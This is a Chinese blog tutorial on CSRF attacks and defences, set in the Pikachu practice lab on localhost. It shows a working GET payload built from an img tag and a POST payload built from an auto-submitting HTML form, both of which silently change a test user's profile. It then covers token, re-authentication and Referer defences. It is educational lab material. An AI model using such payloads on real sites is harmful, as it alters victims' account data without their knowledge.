CSRF漏洞利用与防御

今天继续给大家介绍渗透测试相关知识,本文主要内容是CSRF漏洞利用与防御。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、CSRF漏洞利用

我们使用pikachu靶场进行CSRF漏洞的利用。

(一)GET型CSRF漏洞攻击

GET型CSRF漏洞靶场登陆后页面如下所示:
在这里插入图片描述
我们点击修改个人信息,就可以进入到修改个人信息的页面,如下所示:
在这里插入图片描述
成功修改个人信息后,如下所示:
在这里插入图片描述
在此过程中,我们使用Burpsuite抓包,数据包如下所示:
在这里插入图片描述
下面我们开始进行CSRF漏洞攻击演示。首先构造一个页面,页面只有一个img标签,标签的src属性设置为pikachu靶场更改电话号码的URL,靶场源码如下所示:

<img src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit">

我们在登录皮卡丘靶场的页面上,直接访问该页面,结果发现pukachu靶场中vince用户的个人信息被修改,结果如下所示:
在这里插入图片描述
这说明,我们在访问了特制的网页后,用户在不知情的情况下,个人信息被修改了。

(二)POST型CSRF漏洞攻击

POST型CSRF漏洞靶场登录后页面如GET型相同,但是在修改信息时的提交方式是POST,数据包如下所示:
在这里插入图片描述
针对这种情形,我们需要改动一下页面,页面如下所示:

 <html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="boy" />
    <input id="phonenum" type="text" name="phonenum" value="1234567890" />
    <input id="add" type="text" name="add" value="chain" />
    <input id="email" type="text" name="email" value="vince@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

在上述代码中,我们仿照pikachu靶场设置了一个提交框,并且用JavaScript代码实现了自动提交。
访问该页面后,发现vince用户的个人信息又发生了改变,如下所示:
在这里插入图片描述
这说明,我们在访问了特制的网页后,用户个人信息又被修改了。

二、CSRF漏洞防御

针对CSRF漏洞,我们可以进行以下操作,以尽可能的封堵该漏洞,避免给用户造成损失。CSRF漏洞的防御主要有以下措施:
1、增加Token机制
在pikachu带有token的靶场下,数据包如下所示:
在这里插入图片描述
在这里插入图片描述
从以上可以看出,数据包在发送时,会携带token的字段,并且不同的数据包会携带不同的token。
我们还可以查看网站源代码,如下所示:
在这里插入图片描述
从上图中可以看出,在提交框中,有一个type为hiden的隐形input输入框,该输入框的值就是token的值。这个token会在请求网页时下发,并且在网页数据包提交后进行检查,从而使得攻击者控制用户发送的数据包失效。
2、逻辑上,设置输入原密码,输入验证码等操作。
实际上,token是最有效的防御CSRF漏洞的方式,除了使用token外,在业务逻辑上,对用户的关键操作要求输入原密码,或者是输入验证码等,也可以在一定程度上防御CSRF漏洞。
3、检测referer头
此外,referer头也是一个常见的CSRF漏洞防护措施,网站可以检测用户发送数据包的referer头,如果与本网站不一致,则说明该数据包疑似是CSRF诱导用户发送的数据包,进而采取措施。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远是少年啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值